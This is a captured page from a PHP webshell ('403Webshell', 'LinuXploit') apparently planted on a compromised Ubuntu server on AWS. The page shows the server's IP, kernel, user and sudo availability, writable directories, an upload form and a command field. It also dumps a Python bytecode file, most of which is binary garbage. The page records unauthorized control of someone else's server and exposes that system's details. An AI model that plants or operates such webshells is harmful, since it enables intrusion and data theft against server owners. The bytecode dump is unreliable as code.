403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/tools.cpython-312.pyc
�

��ob�
���dZddlmZmZddlZddlmZddlmZmZddl	m
Z
mZmZm
Z
ejrddlmZmZmZmZmZdd	lmZd
�Zdd�Zd�Zd
�Zy)z2Miscellaneous tools for operating on filesystems.
�)�print_function�unicode_literalsN�)�errors)�DirectoryNotEmpty�ResourceNotFound)�abspath�dirname�normpath�recursepath)�IO�List�Optional�Text�Union)�FSc��tt|��}	|dvr"|j|�t|�}|dvr�!yy#t$rYywxYw)z�Remove all empty parents.

    Arguments:
        fs (FS): A filesystem instance.
        path (str): Path to a directory on the filesystem.

    )��/N)r	r�	removedirr
r)�fs�paths  �*/usr/lib/python3/dist-packages/fs/tools.py�remove_emptyrsR���8�D�>�"�D�
��)�#��L�L����4�=�D��)�#���
��
�s�$=�	A	�A	c�~���|�dn|�|j�|j}t��fd�d�D]
}||��y)aCopy data from one file object to another.

    Arguments:
        src_file (io.IOBase): File open for reading.
        dst_file (io.IOBase): File open for writing.
        chunk_size (int): Number of bytes to copy at
            a time (or `None` to use sensible default).

    Nic������xsdS�N�)�_chunk_size�reads��r�<lambda>z copy_file_data.<locals>.<lambda>4s����[�!�)�T��)r �write�iter)�src_file�dst_file�
chunk_sizer#�chunkrr s     @@r�copy_file_datar)$sE���",�!3�+��K��=�=�D��N�N�E��)�4����	�e��r"c�V�g}|j�5tt|�d��D]6}	|j|�}|jrntj|��ddd�|ddd�ddS#t$r|jt|��Y�qwxYw#1swY�=xYw)akGet a list of non-existing intermediate directories.

    Arguments:
        fs (FS): A filesystem instance.
        dir_path (str): A path to a new directory on the filesystem.

    Returns:
        list: A list of non-existing paths.

    Raises:
        ~fs.errors.DirectoryExpected: If a path component
            references a file and not a directory.

    T)�reverseN���)	�lockrr	�getinfo�is_dirr�DirectoryExpectedr�append)r�dir_path�
intermediatesr�resources     r�get_intermediate_dirsr59s��� �M�	����	9���� 1�4�@�	9�D�
9��:�:�d�+���?�?���.�.�x�8�8�	9�	9���2���s��#�#��
$�
4��$�$�W�T�]�3�
4��		9�	9�s-�B�A6�$B�6#B�B�B�B�B(c�&�td�|D��S)z�Check if all filesystems are thread-safe.

    Arguments:
        filesystems (FS): Filesystems instances to check.

    Returns:
        bool: if all filesystems are thread safe.

    c3�\K�|]$}|j�jdd����&y�w)�thread_safeFN)�getmeta�get)�.0rs  r�	<genexpr>z!is_thread_safe.<locals>.<genexpr>bs#����L�"�r�z�z�|���
�u�5�L�s�*,)�all)�filesystemss r�is_thread_safer?Ws���L��L�L�Lr"r)�__doc__�
__future__rr�typingrrrrrr	r
rr�
TYPE_CHECKINGr
rrrr�baserrr)r5r?rr"r�<module>rEsE���8�
��7�9�9�	���6�6��
�$�*$�<Mr"

Youez - 2016 - github.com/yon3zu
LinuXploit